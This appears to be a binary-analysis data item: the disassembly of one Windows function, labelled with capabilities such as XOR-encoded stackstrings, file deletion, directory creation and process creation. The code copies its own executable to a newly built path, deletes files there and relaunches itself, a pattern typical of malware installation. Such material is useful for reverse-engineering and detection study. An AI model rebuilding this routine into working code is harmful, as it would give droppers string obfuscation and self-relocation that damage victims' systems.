Function at 0x4093f9
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete file
Encode data using xor
Enumerate files on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ad4
call fcn.0040d700
movaps xmm0, xmmword [0x401c70]
push ebx
push esi
movups xmmword [ebp - 0x38], xmm0
xor ebx, ebx
mov esi, ecx
movaps xmm0, xmmword [0x401b00]
mov eax, ebx
push edi
movups xmmword [ebp - 0x28], xmm0
xor byte [ebp + eax - 0x38], 0x55
inc eax
cmp eax, 0x1f
jb 0x409425
push 0x400
lea eax, [ebp - 0x12d0]
mov byte [ebp - 0x19], bl
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 6], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 3
jb 0x409452
lea eax, [ebp - 6]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x880]
push eax
call esi
mov dword [ebp - 8], 0x55095528
mov eax, ebx
mov word [ebp - 4], 0x55
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 5
jb 0x409490
lea eax, [ebp - 8]
mov byte [ebp - 3], bl
push eax
lea eax, [ebp - 0x880]
push eax
call esi
lea eax, [ebp - 0x880]
lea edx, [ebp - 0x12d0]
push eax
mov ecx, edx
call fcn.00409a6f
lea ecx, [ebp - 0x880]
mov dword [esp], 0x800
call fcn.00406c78
add esp, 4
lea eax, [ebp - 0x12d0]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
call ebx
test eax, eax
jle 0x409535
lea eax, [esi + esi]
cmp word [ebp + eax - 0x12d0], 0x5c
jne 0x409527
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00406c99
pop ecx
lea ecx, [ebp - 0x880]
call fcn.004099dc
test eax, eax
jne 0x409527
push eax
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x12d0]
inc esi
push eax
call ebx
cmp esi, eax
jl 0x4094e9
xor ebx, ebx
mov dword [ebp - 0x14], 0x557b557f
mov dword [ebp - 0x10], 0x552d5530
mov eax, ebx
mov dword [ebp - 0xc], 0x555530
xor byte [ebp + eax - 0x14], 0x55
inc eax
cmp eax, 0xb
jb 0x40954e
lea eax, [ebp - 0x14]
mov byte [ebp - 9], bl
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x1ad0]
call fcn.00409a6f
pop ecx
lea eax, [ebp - 0xad0]
push eax
lea eax, [ebp - 0x1ad0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4095d4
lea eax, [ebp - 0xaa4]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409a6f
pop ecx
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x409730
lea eax, [ebp - 0xad0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40958d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x10], 0x552f5534
mov eax, ebx
mov dword [ebp - 0xc], 0x55550a
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 7
jb 0x4095e4
movaps xmm0, xmmword [0x401c90]
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5530557b
mov dword [ebp - 0x1e], 0x5530552d
mov word [ebp - 0x1a], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x19
jb 0x409610
mov byte [ebp - 0x19], bl
mov edi, ebx
mov bx, word [ebp - 0xc]
cmp word [ebp - 0x32], bx
jne 0x409659
movzx eax, word [ebp - 0x10]
movzx esi, word [ebp - 0xe]
sub esi, eax
lea eax, [ebp - 0x32]
mov dword [ebp - 8], eax
mov ecx, esi
call fcn.004082c7
add eax, dword [ebp - 0x10]
inc edi
mov ecx, dword [ebp - 8]
mov word [ecx], ax
lea eax, [ebp - 0x32]
lea eax, [eax + edi*2]
mov dword [ebp - 8], eax
cmp word [eax], bx
je 0x40963a
lea eax, [ebp - 0x32]
push eax
lea edx, [ebp - 0x12d0]
lea ecx, [ebp - 0x880]
call fcn.00409a6f
pop ecx
mov ecx, 0x10000
call fcn.00406c20
mov esi, eax
test esi, esi
je 0x409730
push 0x8000
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409729
push ebx
lea eax, [ebp - 0x880]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x409729
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 8], 1
jle 0x4096d9
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [edi + eax*2]
add edi, 4
jmp 0x4096db
mov edi, ebx
push 0x44
pop ebx
push ebx
lea ecx, [ebp - 0x80]
call fcn.00406c78
add esp, 4
lea ecx, [ebp - 0x18]
push 0x10
call fcn.00406c78
add esp, 4
mov dword [ebp - 0x80], ebx
mov eax, ecx
xor ebx, ebx
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
lea eax, [ebp - 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x409729
mov ecx, esi
call fcn.00406cc5
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.00406cc5
pop edi
pop esi
pop ebx
leave
ret